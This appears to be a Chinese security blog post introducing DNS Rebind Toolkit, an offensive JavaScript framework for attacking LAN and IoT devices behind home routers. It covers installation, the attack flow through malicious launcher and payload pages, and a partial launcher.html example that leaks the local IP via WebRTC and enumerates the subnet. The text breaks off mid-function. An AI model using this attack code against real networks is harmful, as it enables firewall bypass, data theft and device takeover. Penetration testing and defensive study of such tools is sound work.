注意:本軟件僅適用于教育目的,請不要將其用于非法活動(dòng),工具作者和本站對用戶個(gè)人行為不負(fù)任何責(zé)任。
今天給大家介紹的是一款名叫DNS Rebind Toolkit的工具包,這是一款前段JavaScript工具包,滲透測試人員可利用該工具來創(chuàng)建DNS重綁定攻擊。

工具介紹
DNSRebind Toolkit是一款前端JavaScript框架,可用于對存在漏洞的主機(jī)或本地局域網(wǎng)服務(wù)進(jìn)行DNS重綁定攻擊,類似的服務(wù)包括Google Home、Roku、SonosWiFi揚(yáng)聲器、WiFi路由器、智能恒溫器以及其他的物聯(lián)網(wǎng)設(shè)備。在這款工具的幫助下,遠(yuǎn)程攻擊者可繞過路由器的防火墻,然后直接與目標(biāo)用戶家庭網(wǎng)絡(luò)內(nèi)的設(shè)備進(jìn)行交互,并提取出隱私信息,在某些情況下他們甚至還可以直接控制目標(biāo)設(shè)備。
值得一提的是,滲透測試人員可利用該工具包創(chuàng)建自己的DNS重綁定攻擊,該工具包在payloads/目錄下提供了多種可用于現(xiàn)實(shí)攻擊的Payload。
工具安裝
克隆項(xiàng)目源碼:
git clone https://github.com/brannondorsey/dns-rebind-toolkit.git
cd dns-rebind-toolkit
安裝依賴組件
npm install
運(yùn)行服務(wù)器:
sudo node server
API及工具使用
該工具包提供了兩種JavaScript對象,可用于配合創(chuàng)建DNS重綁定攻擊:
1. DNSRebindAttack:這個(gè)對象可以用來對包含漏洞的服務(wù)器進(jìn)行攻擊。它可以創(chuàng)建、管理并于多個(gè)DNSRebindNode對象進(jìn)行通信,DNSRebindAttack所生成的每一個(gè)Payload都必須包含一個(gè)DNSRebindNode對象。
2. DNSRebindNode:這個(gè)靜態(tài)類對象需要包含在每一個(gè)HTML Payload文件中,它可以對目標(biāo)主機(jī)所運(yùn)行的服務(wù)進(jìn)行攻擊,并與相應(yīng)的DNSRebindAttack對象進(jìn)行通信。
在對有防火墻保護(hù)的LAN主機(jī)進(jìn)行攻擊時(shí),這兩個(gè)腳本需要配合使用,基本的攻擊過程如下:
1. 攻擊者向目標(biāo)用戶發(fā)送一條指向惡意HTML頁面的鏈接地址,并執(zhí)行攻擊。例如http://example.com/launcher.html,其中l(wèi)auncher.html包含了一個(gè)DNSRebindAttack實(shí)例。
2. 目標(biāo)用戶點(diǎn)擊了惡意鏈接,并訪問了惡意頁面,其中http://example.com/launcher.html嵌入在一個(gè)iframe里面,頁面此時(shí)便會(huì)觸發(fā)攻擊執(zhí)行。
3. DNSRebindAttack此時(shí)會(huì)搜索目標(biāo)設(shè)備的本地IP地址(例如192.168.10.84),并根據(jù)這個(gè)IP地址來確定目標(biāo)網(wǎng)絡(luò)的IP地址范圍(例如192.168.10.0-255)。
4. launcher.html負(fù)責(zé)對目標(biāo)子網(wǎng)的IP地址范圍發(fā)動(dòng)DNS重綁定攻擊。
5. DNSRebindAttack會(huì)在launcher.html頁面中嵌入一個(gè)包含了payload.html的iframe,每一個(gè)iframe中都包含一個(gè)DNSRebindNode對象,用于對IP地址范圍內(nèi)的每一臺(tái)主機(jī)(端口8008)進(jìn)行攻擊。
使用樣例
一次攻擊需要三個(gè)腳本和文件協(xié)同合作:
1. 一個(gè)HTML文件,其中包含DNSRebindAttack實(shí)例(例如launcher.html)。
2. 一個(gè)HTML文件,其中包含攻擊Payload(例如payload.html),該文件需要通過DNSRebindAttack并根據(jù)目標(biāo)IP地址嵌入到launcher.html中。
3. 一臺(tái)DNS Rebind Toolkit服務(wù)器(server.js),用于傳遞文件并提取數(shù)據(jù)。
launcher.html
下面給出的是一個(gè)launcher.html文件樣本,你可以在項(xiàng)目目錄的examples/launcher.html中找到完整代碼:
Examplelauncher
// DNSRebindAttack has a static method thatuses WebRTC to leak the
// browser's IP address on the LAN. We'lluse this to guess the LAN's IP
// subnet. If the local IP is 192.168.1.89,we'll launch 255 iframes
// targetting all IP addresses from192.168.1.1-255
DNSRebindAttack.getLocalIPAddress()
.then(ip => launchRebindAttack(ip))
.catch(err => {
console.error(err)
// Looks like our nifty WebRTC leaktrick didn't work (doesn't work
// in some browsers). No biggie, mosthome networks are 192.168.1.1/24
launchRebindAttack('192.168.1.1')
})
function launchRebindAttack(localIp) {
// convert 192.168.1.1 into array from192.168.1.0 - 192.168.1.255
const first3Octets =localIp.substring(0, localIp.lastIndexOf('.'))
const ips =[...Array(256).keys()].map(octet => `${first3Octets}.${octet}`)
|